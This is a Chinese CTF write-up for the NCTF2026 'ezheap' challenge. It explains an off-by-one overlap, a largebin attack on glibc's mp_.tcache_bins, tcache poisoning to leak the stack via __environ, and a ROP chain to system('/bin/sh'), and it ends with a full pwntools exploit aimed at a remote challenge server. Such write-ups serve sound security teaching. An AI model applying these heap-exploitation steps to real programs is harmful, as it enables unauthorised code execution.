ezheap
保护全开
add函数:
.png)
edit函数:
.png)
delete函数
.png)
菜单有add、delete、show、edit,注意这里没有exit。
注意add函数能创建32个chunk,但是它限制我们只能申请0x44F和0x550之间的chunk,意味着我们很难操作tcache里的内容,这里把size存入size[],后面也是根据这个全局数组来寻找size的。
这里delete没有什么漏洞,但是注意这里没有把size[]数组的内容清空。这题的漏洞点在edit函数,这里有一个off-by-one,假设我们刚好输入到size上限,我们会把chunk的user区填满,然后调用buf[read(0, buf, sizes[idx])] = 0,会覆盖到下一个chunk的size的最后一位,也就是pre_inuse会被设为0,我们就可以制造overlap。
这里我们只能制造unsortedbin里的overlap,所以我们要通过unlink检查,所以我们需要堆地址,那我们先泄露libc基址和堆基址。
这里我们采用泄露largebin里的内容,能一次性同时泄露libc地址和堆地址。
先讲讲largebin:
大于0x400的Chunk,在被释放后会先进入Unsorted Bin,在unsortedbin的块经过整理后,会被放入到 Largebin。
举例来讲,我们假设usnortedbin里现在有一个0x100的chunk(一个大chunk切分剩下的)和一个0x500的chunk,我们这时malloc一个0x520的chunk,它检查unsortedbin里面发现没有符合要求的,也就是unsortedbin里的块没有能满足我们的需求的时候,就会触发一次整理,它会把0x100的那个chunk放入samllbin([0x20, 0x3F0]),把0x500的那个chunk放入largebin(大于0x400)。
Tcache/Smallbin:每个链表里大小都完全一样(比如全是 0x20)。
Largebin:每个链表里存放的是一个范围(比如 Bin 64 存放 0x400 到 0x430 的块)。
在largebin里,chunk是按size从大到小排列的,如果size 相同,则按释放时间排序(先释放的在前面)。
largebin还有一个特殊点是它有四个指针放在user区,除了跟unsortedbin一样的 fd和 bk,Largebin 额外多了两个指针:
bk_nextsize:指向比当前块大的下一个“不同尺寸”的块。fd_nextsize:指向比当前块小的下一个“不同尺寸”的块。
这里是一个双向链表,当只有一个块的时候:
| 指针名称 | 指向目标 | 地址属性 |
|---|---|---|
| fd | 指向Bin Head (main_arena 中的位置) | libc |
| bk | 指向Bin Head (main_arena 中的位置) | libc |
| fd_nextsize | 指向它自己 (Chunk A 的 Header) | 堆 |
| bk_nextsize | 指向它自己 (Chunk A 的 Header) | 堆 |
要注意,假设largebin里有两个size相同的块,只有第一个块有fd_nextsize和bk_nextsize,第二个块的这两个位置为0,也就是同一个size的多个块只有第一个块参与nextsize链表。
那我们这里只要把一个chunk放入largebin,然后把它malloc出来,再show就能看到残留在user区里的fd和bk和fd_nextsize和bk_nesize。
泄露地址代码:
add(0, 0x4f8) # prev
add(1, 0x4f8) # vict
add(2, 0x458) # guard
add(3, 0x508) # a
add(4, 0x458) # guard
delete(0)
add(5, 0x550)
add(6, 0x4F8) #prev
show(6)
leak1 = uu64(r(8))
ntlb(leak1, 0x203f50)
leak2 = uu64(r(16)[8:16])
heap_base = leak2 - 0x290
lg("heap_base", heap_base)
接下来制造overlap:
chunk_a_addr = heap_base + 0x10f0
fake_chunk_prev = (heap_base + 0x290) + 0x10
edit(3, p64(fake_chunk_prev) + p64(fake_chunk_prev))
payload = flat([
0,
0x4F1,
chunk_a_addr,
chunk_a_addr,
0,
0
]).ljust(0x4F0, b"\x00") + p64(0x4F0)
edit(6, payload)
delete(1)
这里就是要完成unsortedbin的unlink检查,简单介绍一下unlink检查:
首先:
也就是
我(P)的“前邻居”(fd)的“后邻居”(bk)必须是我。
我(P)的“后邻居”(bk)的“前邻居”(fd)也必须是我。
其次:
也就是
我(P)的”物理上的后邻居“的prev_size跟我(P)的size是否相同。
我们在prev块里面伪造一个chunk,这个chunk就是我们将要利用one-off-by放入bin的,vict块是被one-off-by覆盖pre_inuse的块,a块是我们通过unlink检查的辅助堆块。
我们先把a块的地址和prev块里伪造的chunk块的地址(prev块的user区地址)求出来,我们在a的user区的fd和bk位置放fake_chunk_prev,然后在prev块里伪造一个chunk,这个chunk的fd和bk位置都放chunk_a_addr,后面两个位置要覆盖成0,防止被认为是一个largebin(会额外检查nextsize链表),不要忘了位置pre_size来通过unlink的第二个检查条件,edit(6, payload)后,pre_inuse被覆盖成0,我们把free vict块,发现前面那个块是空闲的,根据pre_size,它找到了我们伪造的那个chunk,它会尝试进行unsortedbin合并,开始unlink检查
fake_chunk -> fd = chunkA,chunkA -> bk = fake_chunk,通过
fake_chunk -> bk = chunkA,chunkA -> fd = fake_chunk,通过
这样,fake_chunk与vict块合并成一个大块进入unsortedbin了,我们通过edit(prev)就能任意改unsortedbin里的fake_chunk。
下一步是修改mp_.tcache_bins
GLIBC 并不是把所有配置都写死的,它有一个全局的结构体叫 mp_(malloc_par),专门用来存储堆管理器的运行参数**。**
在 mp_ 结构体中,有一个字段叫 tcache_bins。
在 64 位系统下,它的默认值是64,每个 Tcache Bin 覆盖 16 字节的范围,64 x 16 = 0x400
加上 16 字节的 Header,这也就是为什么默认情况下 Tcache 只管到0x410大小的原因。
当系统准备把一个块放进 Tcache,或者从 Tcache 取块时,它会做这样一个检查:
if (tc_idx < mp_.tcache_bins) {
// 认为是 Tcache 范围内,去 Tcache 链表里找
}
所以我们改了mp_.tcache_bins就能绕过这题add对我们申请堆块的size限制了。
我们这里用的是largebin attack
假设我们的目标是修改target地址里存的内容,我们把一个chunk(设为fwd)放入largebin,我们把fwd的user[2](用户区存fd_nextsize的位置)里的fd_nextsize指针修改成target指针,这时我们再放入一个比fwd的size小的chunk(设为bac),那就会执行把fwd的fd_nextsize的指向改为bac的地址(也就是把fd_nextsize指针指向的地址改为bac的地址),但是fd_nextsize指针已经改为target指针,那也就是把target地址内存的东西改为bac的地址。(如果bac大于fwd,就修改fwd的bk_nextsize)
那我们利用这个操作,就能把mp_.tcache_bins内存的默认值64改为一个很大的堆地址,这样,我们后面free任何块都能进入tcache。
但是,现在 GLIBC 在largebin里加了保护:fwd->bk_nextsize->fd_nextsize == fwd这行代码会检查链表的完整性,假如我们在bac进入largebin前修改了fwd的bk_nextsize指针/fd_nextsize为target指针,在bac进入瞬间,会进行保护检查,这时 fwd->bk_nextsize->target,target -> fd_nextsize = target附近存的内容 != fwd/fwd->bk_nextsize = fwd ,fwd -> fd_nextsize = target存的内容 != fwd,检查失败。
绕过方法:Smaller-than-Smallest
在 GLIBC 的源码里,处理 Largebin 插入有两条路:
路 A(插入中间):如果新块的大小在中间,系统会通过 fd_nextsize 遍历查找位置。这里有严密的 corrupted (nextsize) 检查。
路 B(插在末尾):如果新块的大小比当前桶里最小的块还要小,系统会直接把它挂在链表末尾。
if (size < chunksize_nomask(bck->bk)) { // 如果比最小的还小
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize; // [1] 取出原本最大的块的 bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // [2] 写入!
}
在“路 B”中,GLIBC 2.39 依然没有进行双向链表完整性检查。
那我们走这条路依旧能用largebin attack,也就是我们要用两个块,先放大的那块,修改大的那块的bk_nextsize,然后再放小的,走路b。
add(8, 0x508)
add(9, 0x458) #guard
add(10, 0x4f8)
add(11, 0x458) #guard
delete(8)
add(12, 0x550)
target_mp = libc.address + 0x203180 + 0x68
lg("target_mp", target_mp)
fixed_fd_bk = libc.address + 0x203f50
fixed_fd_nextsize = heap_base + 0x2a0
payload1 = flat([
0,
0x511,
fixed_fd_bk,
fixed_fd_bk,
fixed_fd_nextsize,
target_mp - 0x20
])
edit(6, payload1)
delete(10)
add(13, 0x550)
这里+0x68是因为在mp_里,tcache_bins在偏移0x68位置,这里减0x20是因为正常情况下bk_nextsize指向的是目标chunk的header开头,而修改的是目标chunk的fd_nextsize,所以它实际修改的是bk_nextsize+0x20位置。
成功修改了mp_.tcache_bins,接下来我们先修复状态
add(14, 0x4f8) #取出largebin里的一个chunk
payload2 = flat([
0,
0x511,
fixed_fd_bk,
fixed_fd_bk,
fixed_fd_nextsize,
fixed_fd_nextsize
])
edit(6, payload2)
有overlap,能进tcache,接下来就直接走tcache投毒
看题目不太适合走house of apple2,这里我们走rop链。
我们先获取栈地址,用tcache投毒
add(15, 0x508)
add(16, 0x508)
delete(16)
delete(15)
def protect(addr):
return ((heap_base + 0x2b0 + 0x10) >> 12) ^ addr
environ = protect(libc.sym['__environ'] - 0x18) #十六字节对齐
lg("environ", libc.sym['__environ'])
payload3 = flat([
0,
0x511,
environ
])
edit(6, payload3)
add(17, 0x508)
add(18, 0x508)
show(18)
r(0x18)
leak3 = uu64(r(8))
lg("stack_leak", leak3)
泄露栈地址的原理:
当一个进程被 execve 系统调用启动时,内核并不仅仅是把代码加载进内存。在程序开始运行之前,内核会在栈的最高地址处(也就是栈底之上)压入几块极其重要的数据:
- 环境变量字符串:如
PATH=/usr/bin、HOME=/home/user。 - 环境变量指针数组:一组指向上述字符串的指针,最后以 NULL 结尾。
- 命令行参数指针数组 (argv)。
- 栈帧起始位置:从这里开始,才是
_start和main函数的局部变量空间。
虽然这些环境变量就在栈上,但由于 ASLR,程序在编译时根本不知道这些变量具体在哪个地址。
为了解决这个问题,Libc 的开发者在 Libc 的数据段(.data)里定义了一个全局变量:extern char **environ;(也就是 __environ)。
它的位置:在 Libc 中,地址固定(相对于 Libc 基址)。
它的内容:由内核或加载器在初始化时填充,存放的是栈上那组“环境变量指针数组”的首地址。
所以它存的就是栈地址。
然后就是再次利用tcache投毒,把指针指向返回地址,然后我们edit就能向返回地址写入rop链了
rbp_addr = leak3 - 0x198 #十六字节对齐
add(19, 0x508)
delete(19)
delete(17)
payload4 = flat([
0,
0x511,
protect(rbp_addr)
])
edit(6, payload4)
add(20, 0x508)
add(21, 0x508)
system_addr = libc.sym['system']
ret = libc.address + 0x2882f
prdi = libc.address + 0x10f78b
binsh = se(b"/bin/sh\x00")
payload4 = flat([
fill(0x18),
ret,
prdi,
binsh,
system_addr
])
edit(21, payload4)
这里要注意一个点,就是注意tcache的链表的指向的下一个地址要是16字节对齐的
这里的调试点就是我们修改哪一个函数的返回地址,这题的main函数没有exit选项,所以我们肯定不是修改main函数的返回地址,我首先想的是修改edit函数的返回地址。
但是这里要注意一个问题,我们知道,在tcache里的chunk的user区里存了两个值,第一个是经过加密的下一个chunk的地址,第二个是key。
当我们把chunk从tcache里取出时,key被设置为0,表示不在tcache里,是为了防止double free。
这里我开始时发现edit返回地址位置不是十六字节对齐,那我就考虑从rbp开始覆盖,用的偏移是0x158,但是这会把rbp+8也就是返回地址覆盖成0,会崩溃,我就再-0x10,但是这个偏移很巧会把add时输入的size覆盖成0,后面edit输入不了,我再-0x10,然后那个栈位置存的是0,edit显示为empty,我就一直减,偏移为-0x198时,gdb显示ret跳到了存着AAAAAAA地址报错了,说明我们能成功覆盖ret了,就用这个偏移就行了。
这个位置不是某个函数的返回地址,是read函数里面调用的ret,如图,刚好就符合我们的要求了。
.png)
EXP:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = '114.66.24.221:38277'
file_name = './pwn_patched'
libc_name = './libc.so.6'
elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
if debug:
context(log_level='debug')
if error:
context(log_level='error')
bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'),
# ('system', 'libc')
# 0x1523
# 0x16a3
# 0x13bd
]
gdb_cmd = ''
if gdb_ and switch == 0:
gdb_cmd += "set breakpoint pending on\n"
for b in bps:
if isinstance(b, int):
gdb_cmd += f"b *$rebase({hex(b)})\n"
elif isinstance(b, str):
gdb_cmd += f"b {b}\n"
elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
if 'libc' in locals() and libc:
target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
else:
log.warning("未加载 Libc,跳过 Libc 断点")
gdb_cmd += "c\n"
if switch:
parts = target.replace(':', ' ').split()
host = parts[-2]
port = int(parts[-1])
p = remote(host, port)
elif gdb_:
p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
p = process(file_name)
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool): return p.recvline(keepends=bool)
def ra(t=None): return p.recvall(timeout=t)
def rn(numb): return p.recvn(numb)
def cl(): return p.close()
def it(): return p.interactive()
def uc64(data): return u64(data.rjust(8, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def a(f, off=libc): return lg(hex(off), (ret := f.address + off)) or ret
def cb(data): return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address): return (address).to_bytes(3, 'big')
def ntlb(leak, offset, name='Libc'): return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr
def shn(target, current_printed): return [((target & 0xffff) - current_printed) % 0x10000, current_printed + (((target & 0xffff) - current_printed) % 0x10000)]
def shhn(target, current_printed): return [((target & 0xff) - current_printed) % 0x100, current_printed + (((target & 0xff) - current_printed) % 0x100)]
_rop_cache = {}
def gg(s, f=None):
target = f or libc
if target not in _rop_cache:
_rop_cache[target] = ROP(target)
rop = _rop_cache[target]
instrs = [x.strip() for x in s.split(';')]
gadget = rop.find_gadget(instrs)
if gadget:
addr = gadget.address
lg(s, addr)
return addr
else:
raise ValueError(f"[-] Critical: Gadget not found: {s}")
def ga(delim=b'|', name='Leak', data=None):
target_data = data if data else ru(delim)
if isinstance(target_data, str):
target_data = target_data.encode()
hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################
def add(idx,size):
menu(1, b">>")
sla(b"idx : ", cb(idx))
sla(b"size : ", cb(size))
def edit(idx,data):
menu(2, b">>")
sla(b"idx : ", cb(idx))
sla(b"content : ", data)
def delete(idx):
menu(3, b">>")
sla(b"idx : ", cb(idx))
def show(idx):
menu(4, b">>")
sla(b"idx : ", cb(idx))
add(0, 0x4f8) # prev
add(1, 0x4f8) # vict
add(2, 0x458) # guard
add(3, 0x508) # a
add(4, 0x458) # guard
delete(0)
add(5, 0x550)
add(6, 0x4F8) #prev
show(6)
leak1 = uu64(r(8))
ntlb(leak1, 0x203f50)
leak2 = uu64(r(16)[8:16])
heap_base = leak2 - 0x290
lg("heap_base", heap_base)
chunk_a_addr = heap_base + 0x10f0
fake_chunk_prev = (heap_base + 0x290) + 0x10
edit(3, p64(fake_chunk_prev) + p64(fake_chunk_prev))
payload = flat([
0,
0x4F1,
chunk_a_addr,
chunk_a_addr,
0,
0
]).ljust(0x4F0, b"\x00") + p64(0x4F0)
edit(6, payload)
delete(1)
add(8, 0x508)
add(9, 0x458) #guard
add(10, 0x4f8)
add(11, 0x458) #guard
delete(8)
add(12, 0x550)
target_mp = libc.address + 0x203180 + 0x68
lg("target_mp", target_mp)
fixed_fd_bk = libc.address + 0x203f50
fixed_fd_nextsize = heap_base + 0x2a0
payload1 = flat([
0,
0x511,
fixed_fd_bk,
fixed_fd_bk,
fixed_fd_nextsize,
target_mp - 0x20
])
edit(6, payload1)
delete(10)
add(13, 0x550)
add(14, 0x4f8)
payload2 = flat([
0,
0x511,
fixed_fd_bk,
fixed_fd_bk,
fixed_fd_nextsize,
fixed_fd_nextsize
])
edit(6, payload2)
add(15, 0x508)
add(16, 0x508)
delete(16)
delete(15)
def protect(addr):
return ((heap_base + 0x2b0 + 0x10) >> 12) ^ addr
environ = protect(libc.sym['__environ'] - 0x18) #十六字节对齐
lg("environ", libc.sym['__environ'])
payload3 = flat([
0,
0x511,
environ
])
edit(6, payload3)
add(17, 0x508)
add(18, 0x508)
show(18)
r(0x18)
leak3 = uu64(r(8))
lg("stack_leak", leak3)
rbp_addr = leak3 - 0x198 #十六字节对齐
add(19, 0x508)
delete(19)
delete(17)
payload4 = flat([
0,
0x511,
protect(rbp_addr)
])
edit(6, payload4)
add(20, 0x508)
add(21, 0x508)
system_addr = libc.sym['system']
ret = libc.address + 0x2882f
prdi = libc.address + 0x10f78b
binsh = se(b"/bin/sh\x00")
payload4 = flat([
fill(0x18),
ret,
prdi,
binsh,
system_addr
])
edit(21, payload4)
it()
题目链接:CTF-Writeups/NCTF2026/ezheap at main · Zenquiem/CTF-Writeups